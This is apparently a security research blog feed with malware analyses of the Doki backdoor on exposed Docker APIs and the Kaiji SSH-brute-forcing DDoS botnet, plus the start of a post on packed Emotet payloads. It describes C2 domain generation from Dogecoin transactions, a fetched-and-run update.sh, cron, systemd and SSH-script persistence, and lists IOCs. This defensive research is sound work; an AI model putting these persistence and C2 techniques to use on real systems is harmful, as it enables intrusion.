downloaded payload is saved in &lt;code&gt;/tmpXXXXXX&lt;/code&gt; directory in the container.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/images/fig1.png" title="The command that created the container as seen on the syslog of the attacked server" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;The command that created the container as seen on the syslog of the attacked server&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;By using the bind configuration the attacker can control the cron utility of
the host. The attacker modifies the host&amp;rsquo;s cron to execute the downloaded
payload every minute. We observed two types of payloads, one is a network
scanner script and the other is a downloader script.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The network scanner uses zmap, zgrap, and jq to scan ports associated with
Redis, Docker, SSH, and HTTP.&lt;/p&gt;
&lt;p&gt;Using a list of hardcoded ranges of IP addresses, which belong mostly to cloud
servers such as AWS and local cloud providers in foreign regions (we have seen
providers from China, Austria, and the United Kingdom), the script gathers the
information and uploads it to another Ngrok URL.&lt;/p&gt;
&lt;p&gt;The downloader script is responsible for downloading and installing various
malware binaries, often one of several well known cryptominers. We have noticed
it can also install a fully undetected malware component. We named this malware
Doki and will provide a technical analysis in the next section.&lt;/p&gt;
&lt;p&gt;The attacker has full control over the configuration of the container he
creates and the files that are dropped into the container. By using legitimate
API commands, the attacker is able to escape from the container he created and
execute any code from within the server itself.&lt;/p&gt;
&lt;h2&gt;The Doki Malware&lt;span class="hx:absolute hx:-mt-20" id="the-doki-malware"&gt;&lt;/span&gt;
&lt;a href="#the-doki-malware" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Doki is a backdoor for Linux which function is to execute code received from
its operators. The malware utilizes the
&lt;a href="https://account.dyn.com/"target="_blank" rel="noopener"&gt;DynDNS service&lt;/a&gt; and a unique Domain Generation
Algorithm (DGA) based on the Dogecoin cryptocurrency blockchain in order to
find the domain of its C2 in real time.&lt;/p&gt;
&lt;p&gt;The malware is a fully undetected backdoor. It has managed to stay undetected
for over six months despite having
&lt;a href="https://www.virustotal.com/gui/file/4aadb47706f0fe1734ee514e79c93eed65e1a0a9f61b63f3e7b6367bd9a3e63b/detection"target="_blank" rel="noopener"&gt;been uploaded to VirusTotal&lt;/a&gt;
on January 14, 2020 and scanned multiple times since.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Doki is multi-threaded and uses the embedTLS library for cryptographic
functions and network communication. When executed, the malware will create a
seperate thread in order to handle all C2 communications.&lt;/p&gt;
&lt;p&gt;The malware starts by generating a C2 domain using its unique DGA. In order to
construct the C2 address the malware performs the following steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Query dogechain.info API, a Dogecoin cryptocurrency block explorer, for the
value that was sent out (spent) from a hardcoded wallet address that is
controlled by the attacker. The query format is:
&lt;code&gt;https://dogechain.info/api/v1/address/sent/{address}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Perform SHA256 on the value returned under &amp;ldquo;sent&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Save the first 12 characters from the hex-string representation of the SHA256
value, to be used as the subdomain.&lt;/li&gt;
&lt;li&gt;Construct the full address by appending the subdomain to ddns.net. An example
domain would be: &lt;code&gt;6d77335c4f23[.]ddns[.]net&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Using this technique the attacker controls which address the malware will
contact by transferring a specific amount of Dogecoin from his or her wallet.
Since only the attacker has control over the wallet, only he can control when
and how much dogecoin to transfer, and thus switch the domain accordingly.
Additionally, since the blockchain is both immutable and decentralized, this
novel method can prove to be quite resilient to both infrastructure takedowns
from law enforcement and domain filtering attempts from security products.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s worth noting that once the domain is generated, the malware ensures it&amp;rsquo;s
not &amp;ldquo;46927e019820&amp;rdquo;, which is what&amp;rsquo;s generated for &amp;ldquo;0.000000&amp;rdquo;, meaning when no
Dogecoin was ever transferred from the wallet. In the case that this domain is
generated, the malware will exit without continuing any further.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Otherwise, the malware continues to download a shell script by contacting its
C2 via HTTPS, using the URL &lt;code&gt;&amp;lt;c2_address&amp;gt;/update.sh&lt;/code&gt; and saving the returned
data as &lt;code&gt;/tmp/update.sh&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It will then resolve the current process&amp;rsquo;s PID and path to be used as script
arguments, and proceeds to execute the script by running:
&lt;code&gt;/bin/sh -c ./update.sh &amp;lt;process_id&amp;gt; &amp;lt;process_path&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Meanwhile, the main thread of the malware reads from STDIN, expecting to
receive binary data from that shell script. The arguments are passed to the
script in order to allow it to communicate with the malware in this way and
receive code to execute.&lt;/p&gt;
&lt;p&gt;If data is received via STDIN, the malware saves it as a file under /tmp,
choosing its name randomly from a predefined list of Linux kernel modules.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;While it&amp;rsquo;s a very basic deception method, it&amp;rsquo;s not something commonly seen in
Linux malware, which often don&amp;rsquo;t bother disguising as system files.&lt;/p&gt;
&lt;p&gt;Finally, the malware proceeds to fork so the child process executes the file
and the main process loops to repeat the malware&amp;rsquo;s logic flow.&lt;/p&gt;
&lt;h2&gt;Bottom Line&lt;span class="hx:absolute hx:-mt-20" id="bottom-line"&gt;&lt;/span&gt;
&lt;a href="#bottom-line" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The Ngrok Botnet campaign has been ongoing for over two years and is rather
effective, infecting any misconfigured Docker API server in a matter of hours.
The incorporation of the unique and undetected Doki malware indicates the
operation is continuing to evolve.&lt;/p&gt;
&lt;p&gt;This attack is very dangerous due to the fact the attacker uses container
escape techniques to gain full control of the victim&amp;rsquo;s infrastructure. Our
evidence shows that it takes only a few hours from when a new misconfigured
Docker server is up online to become infected by this campaign.&lt;/p&gt;
&lt;h3&gt;Immediate Action Required by Container Server Owners&lt;span class="hx:absolute hx:-mt-20" id="immediate-action-required-by-container-server-owners"&gt;&lt;/span&gt;
&lt;a href="#immediate-action-required-by-container-server-owners" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Both companies and individuals who own container servers in the cloud must
immediately fix configuration to prevent exposure. This includes: Checking for
any exposed ports, verifying there are no foregin or unknown containers among
the existing containers, and monitoring excessive use of resources.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;We recommend you read our article,
&lt;a href="https://intezer.com/blog/best-practices-for-securing-a-docker-runtime-environment/?utm_campaign=research-blog&amp;amp;utm_content=watch-your-containers-doki-infecting-docker-servers-in-the-cloud&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Best Practices for Securing a Docker Runtime Environment&lt;/a&gt;.
You can also run our
&lt;a href="https://github.com/intezer/yara-rules/blob/master/Doki_Attack.yar"target="_blank" rel="noopener"&gt;YARA rule&lt;/a&gt;
on your cloud servers to check if you have been infected by this campaign.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;6d77335c4f23[.]ddns[.]net
36b397f0da96fa0639a1e60f56af8be1a3060c4d1b98f108b7dc8e3c572b3337
4aadb47706f0fe1734ee514e79c93eed65e1a0a9f61b63f3e7b6367bd9a3e63b
9907eaa1b487306c43b1352369f0409ba59a9aa0f5590fbd60e8825999db1f14&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Kaiji: New Chinese Linux malware turning to Golang</title><link>https://research.intezer.com/blog/2020/05/kaiji-new-chinese-linux-malware-turning-to-golang/</link><pubDate>Mon, 04 May 2020 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2020/05/kaiji-new-chinese-linux-malware-turning-to-golang/</guid><description>
&lt;p&gt;It is not often that you see a botnet&amp;rsquo;s tooling written from scratch. The
Internet of things (IoT) botnet ecosystem is relatively well-documented by
security specialists. New threat actors are generally discovered quickly due to
the inherent noise caused by DDoS operations, both in terms of infecting new
machines and conducting operations. Simply, it is difficult to hide such overt
activities. Most DDoS actors do not invest resources in creating custom
tooling, unless they require specific capabilities, and resort to using
well-known botnet implants (e.g. Mirai, BillGates).&lt;/p&gt;
&lt;p&gt;In late April we identified a new botnet campaign with definitive Chinese
origins, targeting servers and IoT devices via SSH brute forcing. While most
attackers derive their implants from popular and well-tested sources such as
open source (e.g., Mirai) or blackmarket toolsets (e.g., BillGates), this
botnet utilizes its own custom implant, which
&lt;a href="https://twitter.com/malwaremustd1e/status/1256977666084761602"target="_blank" rel="noopener"&gt;MalwareMustDie&lt;/a&gt;
named Kaiji based on one of the function names. The botnet was built from
scratch using the Golang programming language, which is rare in the IoT botnet
landscape.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Kaiji spreads exclusively via SSH brute forcing by targeting the root user
only. Accessing root is important to its operation since some DDoS attacks are
only available via crafting custom network packets. In Linux, custom network
packets are only given to a privileged user such as root.&lt;/p&gt;
&lt;p&gt;Once a SSH connection is established, a bash script is executed which sets up
the environment for the malware:&lt;/p&gt;
&lt;p&gt;A &lt;code&gt;/usr/bin/lib&lt;/code&gt; directory is created and then Kaiji is installed under the
filename &amp;rsquo;netstat&amp;rsquo;, &amp;lsquo;ps&amp;rsquo;, &amp;rsquo;ls&amp;rsquo;, or some other system tool name.&lt;/p&gt;
&lt;p&gt;Kaiji has simple features. It consists of an arsenal of multiple DDoS attacks
such as ipspoof and synack attacks, an ssh bruteforcer module to continue the
spread, and another ssh spreader which relies on hijacking local SSH keys to
infect known hosts which the server has connected to in the past.&lt;/p&gt;
&lt;p&gt;Despite the Kaiji file being stripped, we were able to restore function names
using &lt;a href="https://github.com/sibears/IDAGolangHelper"target="_blank" rel="noopener"&gt;IDAGolangHelper&lt;/a&gt;. This
technique works by retrieving function definitions embedded within the Golang
binary which are not removed by the strip command.&lt;/p&gt;
&lt;p&gt;Once the malware is executed, it copies itself to &lt;code&gt;/tmp/seeintlog&lt;/code&gt; and
launches a second instance which commences its malicious operations. Each
operation is implemented within its own goroutine:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/05/kaiji-new-chinese-linux-malware-turning-to-golang/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;There exist 13 central goroutines which are important for the implant&amp;rsquo;s
operation. Many of these functions are named in an English representation of
Chinese words. We have highlighted the most interesting functions and added a
translation from Chinese to relevant functions:&lt;/p&gt;
&lt;h3&gt;doLink routine&lt;span class="hx:absolute hx:-mt-20" id="dolink-routine"&gt;&lt;/span&gt;
&lt;a href="#dolink-routine" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Decrypt C2 addresses, register the newly infected server to one of the command
servers and launch the doTask and RotKit goroutines.&lt;/p&gt;
&lt;p&gt;Incidentally, some of the C2 addresses are decrypted through a chain of three
encryption schemes, while another C2 address is simply encoded in base64:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/05/kaiji-new-chinese-linux-malware-turning-to-golang/images/fig2.png" title="C2 base64 decoding" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;C2 base64 decoding&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/05/kaiji-new-chinese-linux-malware-turning-to-golang/images/fig3.png" title="C2 decryption" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;C2 decryption&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The binary contained four command server hostnames, two of which were resolved
to localhost since they were registered. The only hostname which worked was
operational for two weeks before failing to respond.&lt;/p&gt;
&lt;h3&gt;main_doTask&lt;span class="hx:absolute hx:-mt-20" id="main_dotask"&gt;&lt;/span&gt;
&lt;a href="#main_dotask" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Fetches commands from the C2. These include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DDoS instructions&lt;/li&gt;
&lt;li&gt;SSH bruteforce instructions, including host range and a password to attempt
login&lt;/li&gt;
&lt;li&gt;Run shell command&lt;/li&gt;
&lt;li&gt;Replace C2 servers&lt;/li&gt;
&lt;li&gt;Delete itself and remove all persistence&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For DDoS operations, a target and an attack technique are retrieved.&lt;/p&gt;
&lt;p&gt;Attacks include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Two TCPFlood implementations (one with raw sockets)&lt;/li&gt;
&lt;li&gt;Two UDPFlood implementations (one with raw sockets)&lt;/li&gt;
&lt;li&gt;IPSpoof attack&lt;/li&gt;
&lt;li&gt;SYNACK attack&lt;/li&gt;
&lt;li&gt;SYN attack&lt;/li&gt;
&lt;li&gt;ACK attack&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;ddos_Rotkit&lt;span class="hx:absolute hx:-mt-20" id="ddos_rotkit"&gt;&lt;/span&gt;
&lt;a href="#ddos_rotkit" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Tries to connect to known hosts through existing SSH RSA keys or IPs found in
bash history:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/05/kaiji-new-chinese-linux-malware-turning-to-golang/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;main_runkshell&lt;span class="hx:absolute hx:-mt-20" id="main_runkshell"&gt;&lt;/span&gt;
&lt;a href="#main_runkshell" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Install persistence through rc.d and Systemd services:&lt;/p&gt;
&lt;p&gt;Systemd (&lt;code&gt;/etc/systemd/system/linux.service&lt;/code&gt;):&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/05/kaiji-new-chinese-linux-malware-turning-to-golang/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;rc.d (&lt;code&gt;/etc/rc.d/init.d/linux_kill&lt;/code&gt;):&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/05/kaiji-new-chinese-linux-malware-turning-to-golang/images/fig6.png" alt="" loading="lazy" /&gt; &lt;img src="https://research.intezer.com/blog/2020/05/kaiji-new-chinese-linux-malware-turning-to-golang/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;main_runghost&lt;span class="hx:absolute hx:-mt-20" id="main_runghost"&gt;&lt;/span&gt;
&lt;a href="#main_runghost" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Install persistence through &lt;code&gt;/etc/profile.d&lt;/code&gt; (/etc/profile.d/linux.sh)&lt;/p&gt;
&lt;h3&gt;main_rundingshi (漢字: run timing)&lt;span class="hx:absolute hx:-mt-20" id="main_rundingshi-漢字-run-timing"&gt;&lt;/span&gt;
&lt;a href="#main_rundingshi-%e6%bc%a2%e5%ad%97-run-timing" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Install persistence through crontab&lt;/p&gt;
&lt;h3&gt;main_runganran (漢字: run infection)&lt;span class="hx:absolute hx:-mt-20" id="main_runganran-漢字-run-infection"&gt;&lt;/span&gt;
&lt;a href="#main_runganran-%e6%bc%a2%e5%ad%97-run-infection" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Another persistence technique, backdoor the SSH init script &lt;code&gt;/etc/init.d/ssh&lt;/code&gt;
to call the rootkit on startup.&lt;/p&gt;
&lt;h3&gt;main_runshouhu (漢字: run surgery)&lt;span class="hx:absolute hx:-mt-20" id="main_runshouhu-漢字-run-surgery"&gt;&lt;/span&gt;
&lt;a href="#main_runshouhu-%e6%bc%a2%e5%ad%97-run-surgery" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Copy the rootkit to &lt;code&gt;/etc/32679&lt;/code&gt; and run it every 30 seconds&lt;/p&gt;
&lt;h3&gt;main_runkaiji (漢字: run boot)&lt;span class="hx:absolute hx:-mt-20" id="main_runkaiji-漢字-run-boot"&gt;&lt;/span&gt;
&lt;a href="#main_runkaiji-%e6%bc%a2%e5%ad%97-run-boot" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Install more persistence init.d files, e.g.: &lt;code&gt;/etc/init.d/boot.local&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;ddos_rdemokill&lt;span class="hx:absolute hx:-mt-20" id="ddos_rdemokill"&gt;&lt;/span&gt;
&lt;a href="#ddos_rdemokill" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Check the CPU usage machine periodically and kill if CPU usage exceeds 85%.
This can inadvertently kill unrelated processes. Interestingly, this function
refers to the rootkit as a demo&lt;/p&gt;
&lt;h3&gt;Dynamic Analysis&lt;span class="hx:absolute hx:-mt-20" id="dynamic-analysis"&gt;&lt;/span&gt;
&lt;a href="#dynamic-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;In our own sandbox we observed that the rootkit tends to invoke itself too many
times, leaving the machine gasping for memory:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/05/kaiji-new-chinese-linux-malware-turning-to-golang/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This, together with the fact that the C2 was operational only temporarily, and
the presence of a &amp;lsquo;demo&amp;rsquo; string, led us to believe that this is an early
version still in testing.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;It is rare to see a botnet written from scratch, considering the tools readily
available to attackers in blackmarket forums and open source projects. In this
post we have uncovered a new DDoS operation in its early stages that was
written from scratch. This is another confirmation of an interesting trajectory
noted by vendors
&lt;a href="https://unit42.paloaltonetworks.com/the-gopher-in-the-room-analysis-of-golang-malware-in-the-wild/"target="_blank" rel="noopener"&gt;such as Palo Alto&lt;/a&gt;
that malware developers are turning to modern languages such as Golang for
their operations.&lt;/p&gt;
&lt;p&gt;The Kaiji samples are now
&lt;a href="https://analyze.intezer.com/files/9f090a241eec74a69e06a5ffed876c7a37a2ff31e171924673b6bb5f1552814c?utm_campaign=research-blog&amp;amp;utm_content=kaiji-new-chinese-linux-malware-turning-to-golang&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;indexed in Intezer Analyze&lt;/a&gt;.
Powered by our new Golang cross platform code connections, users will be able
to easily spot if this threat actor switches to Windows.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/05/kaiji-new-chinese-linux-malware-turning-to-golang/images/fig9.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;4e8d4338cd3b20cb027a8daf108c654c10843e549c3f3da6646ac2bb8ffbe24d
9198853b8713560503a4b76d9b854722183a94f6e9b2a46c06cd2865ced329f7
98aee62701d3a8a75aa19028437bc2d1156eb9bfc08661c25db5c2e26e364dca
0ed0a9b9ce741934f8c7368cdf3499b2b60d866f7cc7669f65d0783f3d7e98f7
f4a64ab3ffc0b4a94fd07a55565f24915b7a1aaec58454df5e47d8f8a2eec22a
9f090a241eec74a69e06a5ffed876c7a37a2ff31e171924673b6bb5f1552814c
370efd28a8c7ca50275957b47774d753aabb6d7c504f0b81a90c7f96c591ae97
357acbacdb9069b8484f4fdead1aa946e2eb4a505583058f91f40903569fe3f3
cu.versiondat[.]xyz
1.versionday[.]xyz
www.aresboot[.]xyz
www.6x66[.]com
www.2s11[.]com&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Fantastic payloads and where we find them</title><link>https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/</link><pubDate>Mon, 30 Mar 2020 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/</guid><description>
&lt;p&gt;Attackers have long used evasion features in their malware to avoid detection
by security products and analysis systems. One of the most common anti-analysis
tricks we have seen in today’s Windows malware is the use of packers. Packers
often complicate the analysis and detection of binary files by hiding the
malware’s real code and data; often referred to as the payload.&lt;/p&gt;
&lt;p&gt;The most common solution to overcome packing is the use of &lt;strong&gt;dynamic analysis&lt;/strong&gt;
(sandboxes) and emulation systems. However, as these solutions have become more
mainstream, packers have started to incorporate new &lt;strong&gt;anti-analysis&lt;/strong&gt; methods
to both detect and evade these systems.&lt;/p&gt;
&lt;p&gt;One such anti-analysis method which is becoming increasingly popular is the
malformation or complete removal of the Windows PE header from unpacked
malicious payloads. This can make both finding the malware payload and properly
analyzing its code more challenging.&lt;/p&gt;
&lt;p&gt;While removal of Windows PE headers from malicious payloads is not an entirely
new method, we are seeing some of the most popular and sophisticated crimeware
families fully incorporate this approach into their packers. Below we will
present some examples that demonstrate this trend through our Genetic Malware
Analysis platform, Intezer Analyze.&lt;/p&gt;
&lt;h2&gt;On packers and payloads&lt;span class="hx:absolute hx:-mt-20" id="on-packers-and-payloads"&gt;&lt;/span&gt;
&lt;a href="#on-packers-and-payloads" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;When we investigate a packed malware file, the malware (payload) itself is
encrypted or encoded and therefore we can’t access its real code and data.
Typically, in order to analyze the malware’s code, we must execute the file in
a sandboxed environment, let it unpack itself, and then grab the payload from
memory.&lt;/p&gt;
&lt;p&gt;While various malware and packers operate in different ways, an abstraction of
a typical unpacking flow looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;In this flow we can see that the packer will decode and execute a shellcode
component that will in turn decode and execute the real payload. This is just a
common scenario; some packers will not use a shellcode loader and instead they
will unpack the payload directly. It’s worth noting that unlike the packer’s
code, which is designed to be obfuscated and appear random, we have observed
that these shellcode components are often reused. This means that these
components generally have more value than the packer itself when investigating
them with code reuse analysis. Therefore, detecting and analyzing this
component’s code can be worthwhile for us.&lt;/p&gt;
&lt;p&gt;With that said, finding and analyzing the malware module itself is by far the
most effective way to properly detect and classify packed malware. The most
common way to identify malware payloads in memory is to search for PE header
artifacts. Knowing this, many attackers try to stay undetected by removing
these artifacts from the PE Header of the payload, or by using no PE header at
all, as we’ll see soon in the examples presented in this article.&lt;/p&gt;
&lt;h2&gt;The many faces of Emotet&lt;span class="hx:absolute hx:-mt-20" id="the-many-faces-of-emotet"&gt;&lt;/span&gt;
&lt;a href="#the-many-faces-of-emotet" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Emotet is one of the most widespread malware in the crimeware ecosystem which
has undergone a number of updates since its inception. In particular, we have
noticed that this malware is constantly evolving and adapting, both in the
malware code itself, and in the packers it uses. While switching the packer is
relatively inexpensive for the attacker and happens frequently, modifying the
malware’s code is much more costly and happens rarely.&lt;/p&gt;
&lt;p&gt;An interesting example of this can be seen when we compare the following Emotet
samples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Emotet sample from June 2019:
&lt;code&gt;8e5089260064a955819a92ebccc43d05520e32d234dd3c176bed5f6d0665ebdb&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Emotet sample from December 2019:
&lt;code&gt;3e8a273f80575ab6079d6512008bb6355b59de978fabc2a9a66c0ed148b94fef&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When looking at the code of the packed files themselves, we can see just how
different these samples are, showing no apparent connections to one another:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig2.png" title="Packer (June 2019) – 8e5089260064a955819a92ebccc43d05520e32d234dd3c176bed5f6d0665ebdb" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Packer (June 2019) – 8e5089260064a955819a92ebccc43d05520e32d234dd3c176bed5f6d0665ebdb&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig3.png" title="Packer (December 2019) – 3e8a273f80575ab6079d6512008bb6355b59de978fabc2a9a66c0ed148b94fef" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Packer (December 2019) – 3e8a273f80575ab6079d6512008bb6355b59de978fabc2a9a66c0ed148b94fef&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;But if we look at the unpacked memory module payloads after undergoing dynamic
analysis, we can see that they are nearly identical from a binary code
perspective:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig4.png" title="Payload (June 2019) – 8e5089260064a955819a92ebccc43d05520e32d234dd3c176bed5f6d0665ebdb" alt="" loading="lazy" /&gt;
